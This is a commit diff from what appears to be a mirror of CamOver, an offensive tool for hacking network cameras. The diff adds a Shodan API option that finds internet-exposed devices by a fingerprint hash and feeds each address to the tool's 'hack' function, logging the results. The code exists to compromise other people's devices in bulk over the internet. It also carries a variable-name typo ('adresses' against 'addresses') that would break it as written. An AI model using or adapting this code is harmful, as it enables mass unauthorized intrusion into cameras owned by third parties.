Projects STRLCPY CamOver Commits 63a0fa67
🤬
  • ■ ■ ■ ■ ■ ■
    camover/cli.py
    skipped 37 lines
    38 38   parser.add_argument('--output', dest='output', help='Output result to file.')
    39 39   parser.add_argument('--input', dest='input', help='Input file of addresses.')
    40 40   parser.add_argument('--address', dest='address', help='Single address.')
     41 + parser.add_argument('--api', dest='api', help='Shodan API key for exploiting devices over Internet.')
    41 42   args = parser.parse_args()
    42 43   
    43 44   def hack(self, host):
    skipped 24 lines
    68 69   self.print_information(f"Thread #{str(number)} completed.")
    69 70  
    70 71   def start(self):
     72 + if self.args.api:
     73 + self.print_process("Authorizing Shodan by given API key...")
     74 + try:
     75 + shodan = Shodan(self.args.api)
     76 + results = shodan.search(query='5ccc069c403ebaf9f0171e9517f40e41')
     77 + adresses = list()
     78 + for result in results['matches']:
     79 + addresses.append(result['ip_str'] + ':' + str(result['port']))
     80 + except Exception:
     81 + self.print_error("Failed to authorize Shodan!")
     82 + return
     83 + self.print_success("Authorization successfully completed!")
     84 + counter = 0
     85 + for address in addresses:
     86 + if not self.args.threads:
     87 + result = hack(address)
     88 + if result:
     89 + if not self.args.output:
     90 + self.print_success(result)
     91 + else:
     92 + with open(self.args.output, 'a') as f:
     93 + f.write(f"{result}\n")
     94 + else:
     95 + process = threading.Thread(target=self.thread, args=[counter, address])
     96 + process.start()
     97 + counter += 1
    71 98   if self.args.input:
    72 99   with open(self.args.input, 'r') as f:
    73 100   lines = f.read().strip().split('\n')
    skipped 29 lines
Please wait...
Page is in error, reload to recover